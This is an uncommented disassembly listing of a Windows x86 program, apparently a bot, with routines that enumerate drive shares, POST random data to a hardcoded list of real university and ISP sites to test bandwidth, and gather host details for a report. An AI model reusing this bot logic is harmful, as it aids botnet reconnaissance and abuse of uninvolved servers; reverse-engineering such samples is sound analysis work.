		push	offset dword_43A1E8


loc_41A2D1:				; CODE XREF: sub_41A19E+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A2DF:				; CODE XREF: sub_41A19E+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FE
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A2FE:				; CODE XREF: sub_41A19E+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		cmp	dword_4CB73C, ebx
		pop	ecx
		jnz	loc_41A473
		push	edi
		mov	esi, offset off_43A0B0
		mov	edi, 200h


loc_41A322:				; CODE XREF: sub_41A19E+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BC0
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33D
		push	offset dword_43A3B0
		jmp	short loc_41A342
; ---------------------------------------------------------------------------


loc_41A33D:				; CODE XREF: sub_41A19E+196j
		push	offset dword_43A388


loc_41A342:				; CODE XREF: sub_41A19E+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A371
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A371:				; CODE XREF: sub_41A19E+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A0C0
		jb	short loc_41A322
		nop
		call	near ptr 2870C7Ch
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45B


loc_41A39C:				; CODE XREF: sub_41A19E+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A450
		cmp	bl, 41h
		jz	loc_41A450
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CB6A4
		cmp	eax, 3
		jnz	short loc_41A450
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BC0
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40E
		push	offset dword_43A3B0
		jmp	short loc_41A413
; ---------------------------------------------------------------------------


loc_41A40E:				; CODE XREF: sub_41A19E+267j
		push	offset dword_43A388


loc_41A413:				; CODE XREF: sub_41A19E+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A443
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A443:				; CODE XREF: sub_41A19E+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_41A450:				; CODE XREF: sub_41A19E+206j
					; sub_41A19E+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39C


loc_41A45B:				; CODE XREF: sub_41A19E+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43A358
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A486
; ---------------------------------------------------------------------------


loc_41A473:				; CODE XREF: sub_41A19E+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43A0F0
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A486:				; CODE XREF: sub_41A19E+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A4
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A4A4:				; CODE XREF: sub_41A19E+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B8	proc near		; CODE XREF: sub_41A6AF+CBp
					; sub_41A6AF+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 26B07C3h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D2	proc near		; CODE XREF: sub_41A6AF+D4p
					; sub_41A6AF+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AB
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAFA
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AB
		push	50h
		call	dword_4CB644
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CB6C4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AB
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CB5EC
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AB
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_433F04 ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62B
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FB
; ---------------------------------------------------------------------------


loc_41A5F8:				; CODE XREF: sub_41A4D2+157j
		mov	eax, [ebp+arg_0]


loc_41A5FB:				; CODE XREF: sub_41A4D2+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60B
		push	[ebp+var_C]
		jmp	short loc_41A60C
; ---------------------------------------------------------------------------


loc_41A60B:				; CODE XREF: sub_41A4D2+132j
		push	ebx


loc_41A60C:				; CODE XREF: sub_41A4D2+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A692
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F8


loc_41A62B:				; CODE XREF: sub_41A4D2+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_42770C
		fst	[ebp+arg_0]
		fcomp	flt_427708
		fnstsw	ax
		sahf
		jnz	short loc_41A653
		fld1
		fstp	[ebp+arg_0]


loc_41A653:				; CODE XREF: sub_41A4D2+17Aj
		push	[ebp+var_4]
		call	dword_4CB6DC
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_427704
		fmul	flt_427700
		call	sub_41C798


loc_41A68D:				; CODE XREF: sub_41A4D2+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A692:				; CODE XREF: sub_41A4D2+149j
		push	[ebp+var_4]
		call	dword_4CB6DC
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx


loc_41A6AB:				; CODE XREF: sub_41A4D2+19j
					; sub_41A4D2+42j ...
		xor	eax, eax
		jmp	short loc_41A68D
sub_41A4D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AF	proc near		; CODE XREF: sub_401ACD+2E62p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B8
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D2
		push	8
		mov	esi, eax
		call	sub_41A4B8
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D2
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7B0
		test	eax, eax
		jz	short loc_41A7AC
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B2
; ---------------------------------------------------------------------------


loc_41A7AC:				; CODE XREF: sub_41A6AF+F4j
		mov	ebx, esi
		jmp	short loc_41A7B2
; ---------------------------------------------------------------------------


loc_41A7B0:				; CODE XREF: sub_41A6AF+F0j
		mov	ebx, eax


loc_41A7B2:				; CODE XREF: sub_41A6AF+FBj
					; sub_41A6AF+FFj
		push	0Ch
		call	sub_41A4B8
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D2
		push	0Ch
		mov	edi, eax
		call	sub_41A4B8
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D2
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7EA
		test	eax, eax
		jz	short loc_41A7E6
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EC
; ---------------------------------------------------------------------------


loc_41A7E6:				; CODE XREF: sub_41A6AF+12Ej
		mov	esi, edi
		jmp	short loc_41A7EC
; ---------------------------------------------------------------------------


loc_41A7EA:				; CODE XREF: sub_41A6AF+12Aj
		mov	esi, eax


loc_41A7EC:				; CODE XREF: sub_41A6AF+135j
					; sub_41A6AF+139j
		push	6
		call	sub_41A4B8
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D2
		push	6
		mov	edi, eax
		call	sub_41A4B8
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D2
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A824
		test	eax, eax
		jz	short loc_41A820
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A826
; ---------------------------------------------------------------------------


loc_41A820:				; CODE XREF: sub_41A6AF+168j
		mov	ecx, edi
		jmp	short loc_41A826
; ---------------------------------------------------------------------------


loc_41A824:				; CODE XREF: sub_41A6AF+164j
		mov	ecx, eax


loc_41A826:				; CODE XREF: sub_41A6AF+16Fj
					; sub_41A6AF+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A833
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A836
; ---------------------------------------------------------------------------


loc_41A833:				; CODE XREF: sub_41A6AF+17Bj
		push	2
		pop	edi


loc_41A836:				; CODE XREF: sub_41A6AF+182j
		test	esi, esi
		jz	short loc_41A83E
		add	eax, esi
		jmp	short loc_41A83F
; ---------------------------------------------------------------------------


loc_41A83E:				; CODE XREF: sub_41A6AF+189j
		dec	edi


loc_41A83F:				; CODE XREF: sub_41A6AF+18Dj
		test	ecx, ecx
		jz	short loc_41A847
		add	eax, ecx
		jmp	short loc_41A848
; ---------------------------------------------------------------------------


loc_41A847:				; CODE XREF: sub_41A6AF+192j
		dec	edi


loc_41A848:				; CODE XREF: sub_41A6AF+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A4F8
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AD
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88C	proc near		; CODE XREF: sub_401ACD+25A1p
					; sub_401ACD+2A11p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	near ptr 26B07C3h
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DB910
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F5	proc near		; CODE XREF: sub_416F1B+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_41A988
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95E
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A946
		cmp	[ebp+var_84], 1
		jnz	short loc_41A939
		push	1
		pop	esi


loc_41A939:				; CODE XREF: sub_41A8F5+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A988
		push	1
		jmp	short loc_41A987
; ---------------------------------------------------------------------------


loc_41A946:				; CODE XREF: sub_41A8F5+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A953


loc_41A94F:				; CODE XREF: sub_41A8F5+78j
		push	2
		jmp	short loc_41A987
; ---------------------------------------------------------------------------


loc_41A953:				; CODE XREF: sub_41A8F5+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A988
		jmp	short loc_41A978
; ---------------------------------------------------------------------------


loc_41A95E:				; CODE XREF: sub_41A8F5+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A988
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94F
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97C


loc_41A978:				; CODE XREF: sub_41A8F5+67j
		push	3
		jmp	short loc_41A987
; ---------------------------------------------------------------------------


loc_41A97C:				; CODE XREF: sub_41A8F5+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A988
		push	7


loc_41A987:				; CODE XREF: sub_41A8F5+4Fj
					; sub_41A8F5+5Cj ...
		pop	esi


loc_41A988:				; CODE XREF: sub_41A8F5+25j
					; sub_41A8F5+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98D	proc near		; CODE XREF: sub_41AA43+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41A995:				; CODE XREF: sub_41A98D+2Fj
					; sub_41A98D+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 2690F63h
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A995
		jb	short loc_41A9C4
		cmp	ebx, esi
		ja	short loc_41A995


loc_41A9C4:				; CODE XREF: sub_41A98D+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA37
		jb	short loc_41A9E3
		cmp	esi, 50h
		jnb	short loc_41A9E8


loc_41A9E3:				; CODE XREF: sub_41A98D+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41A9E8:				; CODE XREF: sub_41A98D+54j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41A9F3
		cmp	esi, 47h
		jnb	short loc_41A9F8


loc_41A9F3:				; CODE XREF: sub_41A98D+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41A9F8:				; CODE XREF: sub_41A98D+64j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA03
		cmp	esi, 37h
		jnb	short loc_41AA08


loc_41AA03:				; CODE XREF: sub_41A98D+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AA08:				; CODE XREF: sub_41A98D+74j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA13
		cmp	esi, 26h
		jnb	short loc_41AA18


loc_41AA13:				; CODE XREF: sub_41A98D+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AA18:				; CODE XREF: sub_41A98D+84j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA23
		cmp	esi, 1Eh
		jnb	short loc_41AA28


loc_41AA23:				; CODE XREF: sub_41A98D+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AA28:				; CODE XREF: sub_41A98D+94j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA33
		cmp	esi, 0Ah
		jnb	short loc_41AA37


loc_41AA33:				; CODE XREF: sub_41A98D+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AA37:				; CODE XREF: sub_41A98D+4Dj
					; sub_41A98D+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA43	proc near		; CODE XREF: sub_401ACD+276Fp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_43D7F8
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 2700000h
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AACA
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA6
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA90
		mov	[ebp+var_4], offset dword_431964


loc_41AA90:				; CODE XREF: sub_41AA43+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB45
		mov	[ebp+var_4], offset dword_431960
		jmp	short loc_41AB16
; ---------------------------------------------------------------------------


loc_41AAA6:				; CODE XREF: sub_41AA43+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB8
		mov	[ebp+var_4], offset dword_43195C
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AAB8:				; CODE XREF: sub_41AA43+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB06
		mov	[ebp+var_4], offset dword_431958
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AACA:				; CODE XREF: sub_41AA43+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB06
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE4
		mov	[ebp+var_4], offset dword_431954
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AAE4:				; CODE XREF: sub_41AA43+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF6
		mov	[ebp+var_4], offset dword_431950
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AAF6:				; CODE XREF: sub_41AA43+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0D


loc_41AB06:				; CODE XREF: sub_41AA43+7Cj
					; sub_41AA43+8Ej
		mov	[ebp+var_4], offset dword_431948


loc_41AB0D:				; CODE XREF: sub_41AA43+73j
					; sub_41AA43+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB45


loc_41AB16:				; CODE XREF: sub_41AA43+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB45
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41AB45:				; CODE XREF: sub_41AA43+54j
					; sub_41AA43+D1j ...
		mov	ax, word_437F1C
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CB524
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7E
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41AB7E:				; CODE XREF: sub_41AA43+12Cj
		push	[ebp+arg_4]
		call	sub_40AC10
		pop	ecx
		push	eax
		call	dword_4CB684
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB5FC
		cmp	eax, ebx
		jz	short loc_41ABA7
		push	dword ptr [eax]
		jmp	short loc_41ABAC
; ---------------------------------------------------------------------------


loc_41ABA7:				; CODE XREF: sub_41AA43+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41ABAC:				; CODE XREF: sub_41AA43+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 2690B48h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A7EC
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2770000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 2760000h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2880000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416A33
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88C
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98D
		push	edx
		push	eax
		push	offset dword_43A710
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF7	proc near		; CODE XREF: sub_401ACD+279Dp
					; sub_401ACD+72F6p

var_8C		= byte ptr -8Ch
